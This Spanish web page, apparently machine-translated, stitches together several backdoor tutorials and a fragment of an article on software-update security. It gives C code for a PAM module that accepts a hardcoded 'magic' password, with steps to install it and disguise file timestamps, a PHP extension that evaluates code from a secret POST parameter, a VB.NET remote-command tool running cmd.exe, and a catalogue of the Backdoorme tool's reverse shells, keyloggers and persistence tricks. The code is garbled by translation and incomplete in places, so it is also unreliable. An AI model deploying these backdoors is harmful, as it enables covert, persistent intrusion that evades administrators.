Menú
Es gratis
registro
casa  /  Consejo/ Escribiendo una puerta trasera. Herramienta universal para instalar puertas traseras: ¿Qué pasa con las actualizaciones del sistema?

Estamos escribiendo una puerta trasera. Herramienta universal para instalar puertas traseras: ¿Qué pasa con las actualizaciones del sistema?

Hay muchas formas de hacerse un hueco en una máquina pirateada. Desde los más comunes y fáciles de descubrir (agréguese a la base de usuarios) hasta módulos de kernel complejos que implementan un shell inverso en una máquina remota. Pero entre ellos hay un método muy fácil de implementar y bastante secreto que sorprendentemente pocas personas conocen. Se trata de una modificación de los módulos del sistema de autenticación PAM, que utilizan todos los sistemas UNIX modernos.

Que es PAM

Los módulos de autenticación conectables (PAM) son un conjunto de API necesarias para implementar mecanismos de autenticación en varias aplicaciones.

Antes de la llegada de PAM, para implementar la autenticación, digamos, usando una tarjeta de acceso, los desarrolladores tenían que agregar un código de soporte para estas mismas tarjetas de acceso en cada componente del sistema responsable de la autenticación de usuarios. Es decir, fue necesario agregar y reconstruir la utilidad de inicio de sesión, sshd, así como cualquier otro software al que se planeó agregar dicha funcionalidad.

Con la llegada de PAM, las cosas se han vuelto mucho más simples. Ahora, para agregar al sistema su propio protocolo de autenticación autoescrito único, basta con implementarlo dentro de un solo módulo PAM. Y todas las utilidades y aplicaciones que pueden funcionar con PAM lo recogerán y lo usarán para autenticar al usuario.

En la práctica, se ve así: la utilidad de inicio de sesión accede a PAM, que realiza todas las comprobaciones necesarias utilizando los módulos especificados en el archivo de configuración y devuelve el resultado a la utilidad de inicio de sesión. Conveniente, ¿no es así? Sin embargo, este enfoque contiene oportunidades que podemos utilizar para anclarnos en el sistema.

Vale la pena hacer un pequeño descargo de responsabilidad. Hay tres implementaciones principales de PAM:

  • Linux-PAM es la implementación principal de PAM en cualquier sistema Linux;
  • OpenPAM: utilizado en sistemas BSD y macOS;
  • JPam es una implementación de PAM para aplicaciones Java.

No nos centraremos en ninguna implementación específica. La funcionalidad básica es la misma en todas partes.

Aspectos de fijar en * nix usando PAM

Puede encontrar la configuración de PAM para cada aplicación en el catálogo /etc/pam.d(Linux) o /etc/pam.conf. Un archivo de configuración de ejemplo para la utilidad de inicio de sesión en macOS:

auth opcional pam_krb5 .so use_kcminit

auth opcional pam_ntlm. así que try_first_pass

auth opcional pam_mount .so try_first_pass

auth requiere pam_opendirectory. así que try_first_pass

cuenta requerida pam_nologin .so

cuenta requerida pam_opendirectory .so

contraseña requerida pam_opendirectory .so

sesión requerida pam_launchd .so

sesión requerida pam_uwtmp .so

sesión opcional pam_mount .so

Averigüemos qué tipo de magia ocurre aquí.

El archivo de configuración describe las reglas de verificación que se deben seguir para la autenticación exitosa del usuario o para realizar otras acciones (cambiar la contraseña, preparar el entorno del usuario). Cada línea del archivo de configuración contiene una regla. Las comprobaciones se realizan línea por línea.

De izquierda a derecha: tipo de módulo, control_flag, nombre del módulo. El tipo de módulo de autenticación nos interesa principalmente, estos módulos son responsables de la autenticación. Control_flag es una propiedad del módulo. Puede adoptar los siguientes valores:

  • requisito (obligatorio): si el módulo devuelve una respuesta positiva, se ejecuta el resto de la cadena y se cumple la solicitud. Si el módulo devuelve una respuesta negativa, la solicitud se rechaza inmediatamente y no se realizan otras comprobaciones;
  • obligatorio - Como requisito: si la respuesta es afirmativa, se realiza el resto de la cadena de comprobaciones. La única diferencia es que en caso de respuesta negativa, la cadena de verificaciones continúa ejecutándose, pero la solicitud es rechazada;
  • suficiente: satisface la solicitud si ninguno de los controles anteriores en la cadena ha funcionado negativamente. Si el módulo funcionó negativamente, el resultado se ignora y la cadena de controles se procesa más;
  • opcional: el módulo se procesa, pero el resultado se ignora.

Ya en esta etapa, probablemente se dio cuenta de que al hacer pequeños cambios en el archivo de configuración, podemos asegurar un inicio de sesión exitoso en el sistema con cualquier contraseña (solo marque todos los módulos de autenticación como opcionales). Pero esta solución funcionará hasta que el usuario o administrador legítimo se dé cuenta de que inicia sesión correctamente en el sistema incluso con la contraseña incorrecta.

Escribiendo su propio módulo de puerta trasera

PAM nos permite conectar nuestros propios módulos de autenticación. Por lo tanto, podemos crear un módulo con una contraseña "mágica" y asegurarnos de que el sistema acepta tanto las contraseñas de usuario estándar como las nuestras. Si ingresamos una contraseña incorrecta, veremos el error de autenticación bastante esperado. No es una mala opción.

Así que aquí está el código (no olvides reemplazar la contraseña mágica con tu contraseña "mágica"):

#incluir

#incluir

#incluir

#incluir

#incluir

#incluir

#define MYPASSWD "contraseña mágica"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh, int flags, int argc, const char * * argv) (

return PAM_SUCCESS;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh, int flags, int argc, const char * * argv) (

return PAM_SUCCESS;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh, int flags, int argc, const char * * argv) (

char * contraseña = NULL;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) y contraseña, NULL);

if (! strncmp (contraseña, MYPASSWD, strlen (MYPASSWD)))

return PAM_SUCCESS;

retorno - 1;

Construyamos el módulo:

$ sudo apt - obtener la instalación libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x - compartido - o pam_backdoor .so pam_backdoor .o

Y ponerlo en el directorio con otros módulos:

$ sudo chown root: root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / security /

Tenga en cuenta que la forma / lib / x86_64-linux-gnu / security / es específico de Debian / Ubuntu. En Fedora, Red Hat y CentOS, los módulos se encuentran en el directorio / lib64 / security / y en Arch Linux en el directorio / lib / security /.

Ahora todo lo que queda es configurar PAM de tal manera que la validación de su módulo sea suficiente para una autenticación exitosa. Por ejemplo, la configuración para su ( /etc/pam.d/su):

En algunos sistemas Linux, la configuración de autenticación se puede colocar en varios archivos: common-auth, common-password, common-session y luego conectarse a los archivos de configuración de utilidades específicas a través de @include. Este punto debe tenerse en cuenta.

Después de realizar los ajustes en la configuración, la utilidad su lo iniciará con la contraseña especificada en el módulo. El mismo truco se puede hacer con la utilidad de inicio de sesión (inicio de sesión de la consola) y sshd para el inicio de sesión remoto.

Incrustar la puerta trasera en un módulo existente

Al editar la configuración de PAM, es posible que haya notado el módulo pam_unix.so. Este módulo es responsable de la autenticación de usuarios utilizando la base de contraseña estándar de UNIX / etc / passwd... Es utilizado por muchas utilidades, incluyendo su, login, sshd y otros programas (como SecureFTPd).

Dado que PAM todavía es de código abierto y tenemos acceso al código fuente tanto del demonio como de sus componentes estándar, podemos incrustar nuestra puerta trasera directamente en este módulo.

Para realizar los cambios necesarios, descargue las fuentes PAM:

$ http: / / www .linux - pam .org / library / Linux - PAM - 1.1.8.tar.gz

$ tar - xzf inux - PAM - 1.1.8.tar.gz

Abriendo el archivo Linux-PAM-1.1.8 / modules / pam_unix / pam_unix_auth.c y buscando las siguientes líneas:

Recopilamos y reemplazamos el módulo original por uno propio:

PS / configurar

$ hacer

$ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Para evitar que el administrador se dé cuenta de la sustitución, cambiamos la hora de creación del archivo para que coincida con la hora de creación de otros módulos.

Hoy hablaremos sobre cómo escribir una puerta trasera PHP como una extensión. Normalmente, la mayoría de los crackers dejan algún fragmento de código en scripts personalizados. Naturalmente, estas cosas se encuentran fácilmente gracias a. Los beneficios de la extensión son obvios:

  • Difícil de encontrar
  • omitir funciones_deshabilitadas
  • la capacidad de controlar todo el código
  • acceso a la ejecución del código por parámetro secreto

Pero en este caso hubo algunos inconvenientes, necesita la capacidad de editar el archivo de configuración php.

Como ejemplo, escribiré en Windows. Usé Visual Studio 2012 Express Edition para escribir la extensión. También necesitará las fuentes de la versión de PHP requerida y las bibliotecas ensambladas (puede compilar a partir de las mismas fuentes). Para simplificar, descargue también las fuentes.

Desempaquete el PHP compilado en C: \ php y las fuentes en C: \ php-src.

Entonces necesitas hacer algunos ajustes de VS.

1) Agregue definiciones de preprocesador:
ZEND_DEBUG = 0
ZTS = 1
ZEND_WIN32
PHP_WIN32

2) Agregue directorios para conectar fuentes: C: \ php-src \ main; C: \ php-src \ Zend; C: \ php-src \ TSRM; C: \ php-src \ regex; C: \ php-src

3) Agregue un directorio adicional con php5ts.lib ( C: \ php \ dev)


4) Agregue la conexión de la biblioteca php5ts.lib.


5) Especifique la ruta al archivo recopilado.


Una vez configurados los parámetros de estudio para desarrollar la extensión (puede leer más sobre ella), creemos un nuevo proyecto de puerta trasera del tipo "Aplicación de consola Win32".


Seleccione el tipo: "Biblioteca DLL"

Luego, elimine los archivos innecesarios del proyecto. Solo debe quedar backdoor.cpp, stdafx.cpp y stdafx.h.
Al archivo de encabezados stdafx.h poner el siguiente código:

#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Ahora vayamos directamente al código de extensión. Eliminemos todas las líneas y agreguemos las conexiones de los archivos necesarios.

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

Si la configuración del estudio es correcta, las advertencias desaparecerán. Cuando se inicializa un módulo, hay varios eventos, cada uno de los cuales ocurre bajo ciertas condiciones. Necesitamos ejecutar nuestro código mientras se ejecuta la solicitud. Para hacer esto, necesitamos inicializar con la función que necesitamos, elegí "hideme" como el nombre.

PHP_RINIT_FUNCTION (ocultarme);

Después de eso, puede proceder a la inicialización del módulo.

Zend_module_entry hideme_ext_module_entry = (STANDARD_MODULE_HEADER, "puerta trasera simple", NULL, NULL, NULL, PHP_RINIT (hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES); ZEND_GET_MODULE (hideme_ext);

Como ya escribí, solo necesitamos ejecutar el código en el momento de la solicitud, por lo que el lanzamiento al cargar y descargar el módulo se reemplaza con NULL. Ahora puede ir al cuerpo de la función hideme.

PHP_RINIT_FUNCTION (hideme) (char * method = "_POST"; // matriz superglobal, de la cual tomamos el parámetro y el valor char * secret_string = "secret_string"; // el parámetro que contendrá el código maligno zval ** arr; char * código; if (zend_hash_find (& EG (tabla_símbolos), método, strlen (método) + 1, (void **) & arr)! = FAILURE) (HashTable * ht = Z_ARRVAL_P (* arr); zval ** val; if (zend_hash_find (ht, secret_string, strlen (secret_string) + 1, (void **) & val)! = FAILURE) (// buscar el parámetro requerido en la tabla hash code = Z_STRVAL_PP (val); // valor del parámetro zend_eval_string (código, NULL, (char *) "" TSRMLS_CC); // ejecución de código)) return SUCCESS;)

Debería quedar claro a partir de los comentarios. Inicialmente, configuramos los parámetros método y cadena_secreta... Luego pasamos por la matriz seleccionada y buscamos un parámetro con una clave adecuada, si hay una, tomamos un valor y ejecutamos el código a través de zend_eval_string.

Después del ensamblaje, obtenemos una biblioteca que se puede usar como extensión.

Demostración en GNU Linux

Demo en Windows:

Hola a todos) Como ya habéis notado, hoy os contaré cómo escribir vuestra propia puerta trasera "en cualquier idioma" (si sabéis escribir programas y tenéis imaginación).

Así que comencemos con el hecho de que primero necesitamos establecer un vínculo entre el administrador y el cliente. Para esto usamos PHP, y solo 5 líneas de código)

if ($ _GET ["cmd"]! = "cmd_clear") ($ cmd = fopen ("cmd.txt", "w +"); // Crea un archivo vacío, si hay uno, bórralo. fwrite ( $ cmd, $ _GET ["cmd"]); // empuja lo que está en el parámetro "cmd" y, como recordamos, había "msg (HelloWorld!)" Fclose ($ cmd); // cierra el archivo detrás de nosotros ) else ($ cmd = fopen ("cmd.txt", "w"); // Crea un nuevo archivo (es decir, limpia nuestro cmd.txt) fclose ($ cmd); // cierra el archivo detrás de nosotros)


Encontré este código en algún lugar de Internet.
Este código dejará comandos para nuestra puerta trasera)

Así que bajemos al panel de administración, primero dibujamos en el formulario un botón y un cuadro de texto, y un navegador web, que coloco en el segundo formulario, para que no interfiera conmigo)

A continuación, pasemos al código.

Indicamos nuestro sitio para que se cargue cuando se inicia el programa) y lo declaramos como una variable global

Public www As String Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Load www = "http: // localhost /" End Sub

Revivamos el botón donde decimos enviar una solicitud GET a nuestro panel de administración en el sitio, después de cmd = nuestro equipo), la etiqueta msg será posteriormente necesaria para que el cliente la procese.

Private Sub Button1_Click (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja Button1.Click Form2.WebBrowser1.Navigate (www & "rat / admin.php? Cmd =< msg>"& TextBox1.Text &"< /msg>") TextBox1.Text =" "End Sub

Nuestro panel de administración está listo)

Pasemos al cliente) no arrojamos nada en el formulario, excepto el temporizador)

Anotemos el temporizador por el cual nuestro programa verificará el sitio (archivo cmd.txt) y por supuesto el temporizador se inicia junto con el programa)) Al igual que en el panel de administración, declararemos variables globales, ahora hay dos de ellas , y también necesitamos conectar dos bibliotecas

Imports System.Text Imports System.IO Public WC As New System.Net.WebClient Public www As String Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Load www = "http: // localhost / "Timer1.Enabled = True Timer1.Interval = 5000 End Sub

Por conveniencia, hice un retraso artificial

Bueno, ahora el código del temporizador en sí, es decir qué se debe ejecutar) Primero, analicemos nuestros datos) para esto especificamos la etiqueta msg, bueno, luego con el comando Shell, lanzamos la línea de comando con los comandos especificados)

Private Sub Timer1_Tick (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja Timer1.Tick Dim R () As String = ("< msg>") Dim L () como cadena = ("< /msg>") Atenuar myHttpWebRequest como Net.HttpWebRequest = Net.HttpWebRequest.Create (www &" rat / cmd.txt ") Atenuar myHttpWebResponse como Net.HttpWebResponse = myHttpWebRequest.GetResponse (). String = myStreamReader.ReadToEnd () If InStr (Str, R (0)) 0 Then Dim Tmp As String = Str.Split (R, StringSplitOptions.None) (1) Dim Res As String = Tmp.Split (L, StringSplitOptions. Ninguno) (0) WC.DownloadString (www & "rat / admin.php? Cmd = clear_cmd") Espere (2) Shell ("cmd.exe" + Res) Else End If End Sub


PD Si está interesado en este artículo, la próxima vez haré un artículo sobre cómo ocultar las acciones de nuestro cliente.

Backdoorme: utilidad para crear puertas traseras automáticamente

Backdoorme es una poderosa utilidad que puede crear muchas puertas traseras en máquinas Unix. Backdoorme usa la interfaz familiar de metasploit con una extensibilidad asombrosa. Backdoorme se basa en la propiedad de la conexión SSH existente o las credenciales de la víctima, a través de las cuales puede pasar y colocar cualquier laguna. Utilice Backdoorme con permiso abierto.

Oculto a los invitados


Backdoorme viene directamente de la caja con una serie de puertas traseras, módulos y módulos auxiliares integrados. Las puertas traseras son componentes específicos para construir e implementar la puerta trasera requerida, como la puerta trasera netcat o la puerta trasera msfvenom. Los módulos se pueden aplicar a cualquier puerta trasera y se utilizan para hacer que las puertas traseras sean más potentes, ocultas o que se deshabiliten más rápidamente. Las subvenciones son operaciones útiles que se pueden realizar para ayudar a mantener la permanencia.

Un poco más sobre las puertas traseras: Para ejecutar backdoorme, asegúrese de tener las dependencias necesarias.

$ python dependencies.py

Lanzamiento de Backdoorme:

$ python master.py

Puertas traseras

Para usar la puerta trasera, simplemente ejecute la palabra clave "use".

>> usar shell / metasploit + Usando el objetivo actual 1. + Usando la puerta trasera de Metasploit ... (msf) >>

Desde allí, puede configurar opciones para que coincidan con la puerta trasera. Ejecute "mostrar opciones" o "ayuda" para ver una lista de opciones que se pueden configurar.

Al igual que con metasploit, las puertas traseras se organizan en categorías.

  • Auxiliar
    • registrador de teclas- Agrega un registrador de teclas al sistema y pone a su disposición la opción de enviar los resultados por correo;
    • simplehttp- Instala el servidor Python SimpleHTTP en el cliente.
    • usuario- Agrega un nuevo usuario al objetivo.
    • web- Instala Apache Server en el cliente.
  • Escalada (categoría de extensión)
    • setuid- La puerta trasera SetUID funciona estableciendo el bit setuid en el ejecutable, asumiendo que el usuario tiene acceso root. Por lo tanto, cuando este ejecutable es lanzado posteriormente por un usuario que no tiene acceso de root, el archivo dado se ejecuta con acceso de root. De forma predeterminada, esta puerta trasera cambia el bit setuid a nano, de modo que si se pierde el acceso de root de alguna manera, un atacante puede volver a SSH como usuario sin privilegios y aún así poder ejecutar nano (o cualquier binario de su elección) como root. ("nano / etc / shadow"). Tenga en cuenta que para implementar esta extensión de puerta trasera, se requiere acceso de root desde el principio.
    • cáscara- shell backdoor es una extensión de puerta trasera privilegiada, similar a su extensión hermana SetUID (pero más específica). Duplica el shell bash en un binario oculto y establece el bit SUID. Tenga en cuenta que inicialmente se requiere acceso de root para implementar esta extensión de puerta trasera. Para usar esta puerta trasera si SSH actúa como un usuario sin privilegios, simplemente ejecute ".bash -p" y tendrá acceso de root.
  • Shell (categoría de Shell)
    • intento- utiliza un script bash simple para conectarse a una combinación de puerto y ip específica y canalizar el resultado a bash.
    • bash2- la puerta trasera bash ligeramente diferente (y más segura) descrita anteriormente, que no solicita una contraseña al cliente.
    • metasploit- usa msfvenom para generar reverse_tcp binary en el objetivo, luego ejecuta binary para conectarse al contenedor meterpreter.
    • netcat- usa netcat para pasar la entrada y salida estándar a / bin / sh, dando al usuario un shell interactivo.
    • netcat_traditional- utiliza netcat-traditional "s -e para crear un shell inverso.
    • perl Es un script escrito en perl que redirige el resultado a bash y cambia el nombre del proceso para que parezca menos prominente.
    • php- ejecuta una puerta trasera php que envía el resultado a bash. No instala automáticamente el servidor web, sino que utiliza el módulo web.
    • cachorro- utiliza la puerta trasera n1nj4sec Pupy ubicada en

      Oculto a los invitados

      .
    • pitón- utiliza un breve script de Python para ejecutar comandos y enviar los resultados al usuario.
    • web- envía el servidor web al destino, luego descarga la puerta trasera msfvenom php reverse_tcp y se conecta al host. Aunque sigue siendo una puerta trasera de php, no es lo mismo que la puerta trasera de php descrita anteriormente.
  • Acceso
    • remove_ssh- elimina el servidor ssh en el cliente. Es muy conveniente usarlo al final de la sesión de puerta trasera para eliminar cualquier rastro.
    • ssh_key- crea una clave RSA y copia al destino para la conexión sin contraseña ssh.
    • ssh_port- Agrega un nuevo puerto para ssh.
  • Windows (categoría de Windows)
    • ventanas- Utiliza msfvenom para crear una puerta trasera de Windows.
Módulos

Cada puerta trasera tiene la capacidad de adquirir módulos adicionales, que se utilizan para hacer que la puerta trasera sea más potente. Para agregar un módulo, simplemente use la palabra clave "agregar".

(msf) >> agregar veneno + módulo de veneno agregado

Cada módulo tiene opciones adicionales que se pueden configurar y si se vuelve a ejecutar la "ayuda", puede ver o establecer opciones adicionales.

Los módulos disponibles actualmente incluyen:

  • Veneno
    • Producir equipo de destino de envenenamiento de contenedores: compila un ejecutable para invocar una utilidad del sistema y una puerta trasera existente.
    • Por ejemplo, si el módulo de la bandeja de envenenamiento se ejecuta con "ls", compilará y transferirá un binario llamado "ls" que ejecutará tanto la puerta trasera existente como la "ls" original, deshabilitando así al usuario para ejecutar la puerta trasera con más frecuencia. .
  • Cron
    • Agrega una puerta trasera existente al crontab del usuario raíz para que se ejecute con la frecuencia especificada.
  • Web
    • Instala un servidor web y aloja una página web que ejecuta la puerta trasera.
    • Simplemente va al sitio con un oyente abierto y se abre la puerta trasera.
  • Usuario
    • Agrega un nuevo usuario al destino.
  • Puesta en marcha
    • Permite crear puertas traseras con archivos bashrc e init.
  • Lista blanca
    • Incluye una IP en la lista blanca para que solo esa IP pueda conectarse a la puerta trasera.
Traducción:

En nuestro blog sobre Habré, no solo hablamos sobre el desarrollo de nuestro producto - facturación para los operadores de telecomunicaciones "Hydra", sino que también publicamos materiales sobre el trabajo con infraestructura y el uso de tecnologías.

El periodista y hacker alemán Leif Ryge escribió un artículo interesante para Ars Technica que el enfoque moderno para organizar actualizaciones de software conlleva serios riesgos de seguridad de la información. Presentamos a su atención los pensamientos principales de este artículo.

Fondo

En 2014, el Washington Post escribió que empresas como Apple y Google deberían haber inventado algo así como una clave secreta con la que podrían acceder a sus productos y que almacenarían y transferirían a los servicios especiales solo si recibían una solución legal ". .

Deshacerse de los "enlaces débiles", un ataque a cada uno de los cuales puede volverse crítico, debería convertirse en un requisito básico para cualquier nuevo mecanismo de distribución de software.